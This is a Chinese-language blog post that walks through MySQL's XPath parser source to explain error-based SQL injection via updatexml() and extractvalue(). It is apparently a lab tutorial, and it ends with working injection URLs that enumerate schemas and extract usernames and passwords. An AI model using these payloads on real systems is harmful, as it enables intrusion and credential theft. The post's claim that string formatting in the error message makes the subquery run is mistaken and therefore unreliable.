一次对mysql源码审计的尝试(xpath语法错误导致的报错注入)

时间:2022-07-23
本文章向大家介绍一次对mysql源码审计的尝试(xpath语法错误导致的报错注入),主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

本篇原创作者-RJ45

前言

在和E神的日常讨论中...

背景

mysql的第5版本之后,添加了对xml文档进行查询和修改的两个xml函数 extractvalue()updatexml(),由此导致了一个xpath语法错误导致的报错注入。

xml文档

概念:xml文档是可拓展标记语言,与html类似,不同在于xml被设计来传输和存储数据,而html被设计来显示数据的。

实例:

<?xml version="1.0" ecoding="UTF-8" ?>
<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
</note>

解释:xml文档是一种树结构,实例中,依次分为声明、属性、根元素、子元素。

xpath语法

概念:xpath语法是一门在xml文档中查找信息的语言。

节点:在xpath中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释和文档根节点。在上述的xml文档中

<note></note>是文档节点。
<to></to>、<from>/from>、<heading></heading>和<body></body>是元素节点。
元素节点上可以带属性节点。
而在元素节点上的为基本值。

节点间的关系:在上述的xml文档中

<note></note>是父(Parent)、其他元素节点为子(Children),类似的为先辈(Ancestor)和后代(Descendant)关系。
<to></to>、<from>/from>、<heading></heading>和<body></body>是同胞(Sibling)关系。

语法:xpath使用路径表达式来选取xml文档中的节点或节点集。在上述的xml文档中

<?xml version="1.0" ecoding="UTF-8" ?>
<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
</note>

选取节点

note为选取此节点的所有子节点
/从根节点选取
//从匹配到的当前节点选择
.选取当前节点
..选取当前节点的父节点
@选取属性
*匹配任何元素节点
@*匹配任何属性节点
node()匹配任何类型节点
/note/*选取note元素下的所有子元素
//*选取文档中的所有元素
//to[@*]选取所有带有属性的to元素

轴:轴可定义相对于当前节点的节点集

实例演示:

# 选取所有节点
/note

# 选取节点中的第一个子节点
/note/to

# 获取内容
/note/body/text()

参考

xml函数

extractvalue(): extractvalue(xmlfrg,xpathexpr)、使用xpath表示法从xml字符串中提取值。

updatexml():updatexml(xmltarget,xpathexpr,new_xml)、返回替换的xml片段。

xpath报错注入

在mysql的官方文档中对这两个函数的错误处理中有这么一句话:

对于ExtractValue和 UpdateXML,使用的XPath定位器必须有效,并且要搜索的XML必须包含正确嵌套和关闭的元素。如果定位器无效,从而产生错误

通过这个错误,也就产生了我们日常构造利用的mysql的报错注入:

http://192.168.3.21/Less-5/?id=1%27%20and%20updatexml(1,(concat(0x7e,(database()),0x7e)),1)--+
http://192.168.3.21/Less-5/?id=1%27%20and%20extractvalue(1,(concat(0x7e,(user()),0x7e)))--+

那么,问题来了:第一、为什么它会产生这个错误?第二、为什么在xpath_expr位置构造目标sql就可以达到利用目的?

对错误的产生的分析

官方文档中对这个错误的描述是:

1 xpath的定位器(xpathexpr)无效;2 xpath的定位器(xpathexpr)没有正确嵌套和关闭元素。

也就是说,xpath语法错误,导致的错误抛出。

由于我C语言的基础n菜,故下面的分析仅供参考。

1、定位底层代码中的错误处理位置:(demo为mysql-server-5.5,在item_xmlfunc.cc中)

void Item_xml_str_func::fix_length_and_dec()
{
  String *xp, tmp;
  MY_XPATH xpath;
  int rc;

 ...

  rc= my_xpath_parse(&xpath, xp->ptr(), xp->ptr() + xp->length());

  if (!rc)
  {
    uint clen= xpath.query.end - xpath.lasttok.beg;
    set_if_smaller(clen, 32);
    my_printf_error(ER_UNKNOWN_ERROR, "XPATH syntax error: '%.*s'",
                    MYF(0), clen, xpath.lasttok.beg);
    return;
  }

...

当rc为0的时候,进入if结构内从而产生报错,生成错误信息,被控制利用。

rc为0,需要在myxpathparse函数的作用下产生。

myxpathparse函数的参数取自&xpath也即MY_XPATH,xp为一个字符串变量。

2、MY_XPATH:

/* XPath query parser */#XPath查询解析器
typedef struct my_xpath_st
{
  int debug;
  MY_XPATH_LEX query;    /* Whole query#整体查询                               */
  MY_XPATH_LEX lasttok;  /* last scanned token#上次扫描的令牌                        */
  MY_XPATH_LEX prevtok;  /* previous scanned token#以前扫描的令牌                    */
  int axis;              /* last scanned axis#上次扫描的轴                         */
  int extra;             /* last scanned "extra", context dependent#上次扫描的“额外”,取决于上下文   */
  MY_XPATH_FUNC *func;   /* last scanned function creator#上次扫描的函数创建者             */
  Item *item;            /* current expression#当前表达式                        */
  Item *context;         /* last scanned context#上次扫描的上下文                      */
  Item *rootelement;     /* The root element#根元素                          */
  String *context_cache; /* last context provider#上一个上下文提供程序                     */
  String *pxml;          /* Parsed XML, an array of MY_XML_NODE#解析的xml,myxml节点的数组       */
  CHARSET_INFO *cs;      /* character set/collation string comparison#类型 */
  int error;
} MY_XPATH;

这是创建了一个结构体,这个结构体的内容猜测为扫描xml文档后产生的结果数据集。

3、myxpathparse函数

static int
my_xpath_parse(MY_XPATH *xpath, const char *str, const char *strend)
{
  my_xpath_lex_init(&xpath->query, str, strend);
  my_xpath_lex_init(&xpath->prevtok, str, strend);
  my_xpath_lex_scan(xpath, &xpath->lasttok, str, strend);
  xpath->rootelement= new Item_nodeset_func_rootelement(xpath->pxml);
  return
     my_xpath_parse_Expr(xpath) &&
     my_xpath_parse_term(xpath, MY_XPATH_LEX_EOF);
}

在myxpathparse函数中,经myxpathlexinit函数、myxpathlexscan函数和Itemnodesetfuncrootelement函数的处理后,需要返回0,满足前面逻辑,也即myxpathparseExpr函数和myxpathparse_term的处理必须为0。

4、myxpathlexinit函数、myxpathlexscan函数、Itemnodesetfuncrootelement函数、myxpathparseExpr函数和myxpathparse_term函数:

myxpathlexinit函数 该函数作用为初始化beg和end变量;在myxpath_parse函数中作用为分别初始化Whole query整体查询的变量和previous scanned token以前扫描的令牌的变量。

/* Initialize a lex analizer token */#初始化lex analizer令牌
static void
my_xpath_lex_init(MY_XPATH_LEX *lex,
                  const char *str, const char *strend)
{
  lex->beg= str;
  lex->end= strend;
}

这里存在另一个结构体

/* Lexical analizer token */#词法分析器令牌
typedef struct my_xpath_lex_st
{
  int        term;  /* token type, see MY_XPATH_LEX_XXXXX below */#令牌类型
  const char *beg;  /* beginnign of the token                   */#令牌开始
  const char *end;  /* end of the token                         */#令牌结束
} MY_XPATH_LEX;

myxpathlex_scan函数

/*
  Scan the next token#扫描下一个令牌

  SYNOPSYS
    Scan the next token from the input.#扫描输入中的下一个标记。
    lex->term is set to the scanned token type.#lex-> term设置为扫描的令牌类型。
    lex->beg and lex->end are set to the beginnig and to the end of the token.#lex-> beg和lex-> end设置为开始和令牌的末尾。
  RETURN
    N/A
*/
static void
my_xpath_lex_scan(MY_XPATH *xpath,
                  MY_XPATH_LEX *lex, const char *beg, const char *end)
{

...

      // check if an axis specifier, e.g.: /a/b/child::*#检查是否有轴说明符
      else if (*beg == ':' && beg + 1 < end && beg[1] == ':')
      {
        ...
      }
    }
    // check if a keyword#检查关键字
    lex->term= my_xpath_keyword(xpath, my_keyword_names,
                                lex->beg, beg);
        ...
  }
  ch= *beg++;
  if (ch > 0 && ch < 128 && simpletok[ch])
  {
    // a token consisting of one character found#由找到的一个字符组成的标记
        ...
  }


  if (my_xdigit(ch)) // a sequence of digits#数字
  {
        ...
  }

  if (ch == '"' || ch == ''')  // a string: either '...' or "..."#字符
  {
        ...
    }
    else
    {
      // unexpected end-of-line, without closing quot sign#意外的行尾,没有结束引号
      lex->end= end;
      lex->term= MY_XPATH_LEX_ERROR;
      return;
    }
  }
  lex->end= beg;
  lex->term= MY_XPATH_LEX_ERROR; // unknown character#未知字符
  return;
}

可以看到,正如官网文档错误处理中解释的,当xpath语法出现意外的行尾、没有结束引号或未知字符等不符合xpath语法的时候就会设置令牌结束和令牌类型为MYXPATHLEX_ERROR,即 #defineMY_XPATH_LEX_ERROR'A'

令牌类型:

/*
  XPath lexical tokens
*/
#define MY_XPATH_LEX_DIGITS   'd'
#define MY_XPATH_LEX_IDENT    'i'
#define MY_XPATH_LEX_STRING   's'
#define MY_XPATH_LEX_SLASH    '/'
#define MY_XPATH_LEX_LB       '['
#define MY_XPATH_LEX_RB       ']'
#define MY_XPATH_LEX_LP       '('
#define MY_XPATH_LEX_RP       ')'
#define MY_XPATH_LEX_EQ       '='
#define MY_XPATH_LEX_LESS     '<'
#define MY_XPATH_LEX_GREATER  '>'
#define MY_XPATH_LEX_AT       '@'
#define MY_XPATH_LEX_COLON    ':'
#define MY_XPATH_LEX_ASTERISK '*'
#define MY_XPATH_LEX_DOT      '.'
#define MY_XPATH_LEX_VLINE    '|'
#define MY_XPATH_LEX_MINUS    '-'
#define MY_XPATH_LEX_PLUS     '+'
#define MY_XPATH_LEX_EXCL     '!'
#define MY_XPATH_LEX_COMMA    ','
#define MY_XPATH_LEX_DOLLAR   '$'
#define MY_XPATH_LEX_ERROR    'A'
#define MY_XPATH_LEX_EOF      'B'
#define MY_XPATH_LEX_AND      'C'
#define MY_XPATH_LEX_OR       'D'
#define MY_XPATH_LEX_DIV      'E'
#define MY_XPATH_LEX_MOD      'F'
#define MY_XPATH_LEX_FUNC     'G'
#define MY_XPATH_LEX_NODETYPE 'H'
#define MY_XPATH_LEX_AXIS     'I'
#define MY_XPATH_LEX_LE       'J'
#define MY_XPATH_LEX_GE       'K'

Itemnodesetfunc_rootelement函数 该函数的作用是扫描xml文档并返回根节点。

/* Returns an XML root */#返回XML根
class Item_nodeset_func_rootelement :public Item_nodeset_func
{
public:
  Item_nodeset_func_rootelement(String *pxml): Item_nodeset_func(pxml) {}
  const char *func_name() const { return "xpath_rootelement"; }
  String *val_nodeset(String *nodeset);
};

myxpathparse_Expr函数 PredicateExpr:谓词表达式,根据注释,这个点怀疑是xpath中的谓语,查询特定节点或者包含某个指定的值的节点。

myxpathparse_term函数

/*
  Scan the given token#扫描给定令牌

  SYNOPSYS
    Scan the given token and rotate lasttok to prevtok on success.
    #扫描给定的令牌,并在成功时将lasttok(上次扫描的令牌)赋给prevtok(以前扫描的令牌)。

  RETURN
    1 - success
    0 - failure
*/
static int
my_xpath_parse_term(MY_XPATH *xpath, int term)
{
  if (xpath->lasttok.term == term && !xpath->error)
  {
    xpath->prevtok= xpath->lasttok;
    my_xpath_lex_scan(xpath, &xpath->lasttok,
                      xpath->lasttok.end, xpath->query.end);
    return 1;
  }
  return 0;
}

5、汇总分析:在核心函数myxpathparse中 当我们在注入 updatexml(1,(concat(0x7e,(database()),0x7e)),1)或者 extractvalue(1,(concat(0x7e,(user()),0x7e))), 这里我简化为 updatexml(1,(database()),1)extractvalue(1,(user()))的时候,其存储于MYXPATH结构体内,query为 1,lasttok和prevtok为 database()或者user()

在myxpathparse函数中,经myxpathlexinit两次初始化,通过另一个结构体MYXPATHLEX,细化了query和prevtok为开始和结束位置。

然后调用myxpathlexscan对lasttok的内容进行扫描分析,然而lasttok的内容为 database()或者user(),在函数体内,进入了xpath语法错误的执行流程,致使位置分析结束,同时返回令牌类型term为 MY_XPATH_LEX_ERROR也即 A

接着执行到myxpathparseterm的时候(Itemnodesetfuncrootelement和myxpathparseExpr无关影响),myxpathparseterm的参数一为存储了数据的MYXPATH结构体,二是默认参数MYXPATHLEXEOF即 B

显而易见,在myxpathparseterm的if分支中判断为A与B不相等,返回 0

从而使得myxpathparse返回 0。使得在错误位置所在Itemxmlstrfunc::fixlengthanddec()函数中,rc=0,进入if分支内,引发后续报错。

对xpath_expr位置利用的分析

在Itemxmlstrfunc::fixlengthanddec()函数的if分支中,

if (!rc)
{
uint clen= xpath.query.end - xpath.lasttok.beg;
set_if_smaller(clen, 32);
my_printf_error(ER_UNKNOWN_ERROR, "XPATH syntax error: '%.*s'",
                MYF(0), clen, xpath.lasttok.beg);
return;
}

setifsmaller函数设置了报错空间为32字节:#defineset_if_smaller(a,b)do{if((a)>(b))(a)=(b);}while(0)

myprintferror函数将错误类型编号,错误提示,以及MY_XPATH结构体中的lasttok.beg抛出到错误信息中。

恰恰是lasttok这个控制点,其中的内容为 database()或者user(),造成了注入的产生。

这里存在一个需要解释的问题:

为什么将 xpath.lasttok.beg,抛出到错误信息中,其中的内容会执行查询操作?

我以一个例子进行解释: 以下可以看到mysql也存在编程语言中的 %s的格式化执行输出的!

select "Rj45:'%s'",(select database());

由此解释了在xpath_expr位置构造子查询进行xpath报错注入的整个利用过程。由于,报错的空间为32个字节,故需要利用concat()函数以及limit关键字对回显的数据进行拼接和限制输出。完整注入过程如下:

# 当前数据库
http://192.168.3.21/Less-5/?id=1%27%20and%20updatexml(1,(concat(0x7e,(database()),0x7e)),1)--+

# 所有数据库
http://192.168.3.21/Less-5/?id=1%27%20and%20updatexml(1,(concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)),1)--+

# 数据表
http://192.168.3.21/Less-5/?id=1%27%20and%20updatexml(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1),0x7e)),1)--+

# 表字段
http://192.168.3.21/Less-5/?id=1%27%20and%20updatexml(1,(concat(0x7e,(select column_name from information_schema.columns where table_schema = database() limit 0,1),0x7e)),1)--+

# 数据
http://192.168.3.21/Less-5/?id=1%27%20and%20updatexml(1,(concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e)),1)--+

payload自行调整。

总结

xml文档被设计来传输和存储数据,其需要xpath语法在文档中查找数据信息。mysql为了实现对xml文档的支持,设计了两个xml函数。这两个xml函数在以xpath语法为基础的代码实现过程中, 对错误场景(出现意外的行尾、没有结束引号或未知字符集的情况下),设置令牌类型了为A, 这与扫描令牌函数myxpathparseterm的默认参数B不一致,从而进入了错误处理流程。在错误处理流程中,myprintf_error函数直接将错误场景下的错误xpath语法抛出到错误信息中, 由于其设置了格式化输出,当精心构造的‘错误的xpath语法’被抛出的时候,成为了一个可以控制的注入点,从而达到了攻击的条件。

感悟

1、代码一定要写好注释。

2、

参考

https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html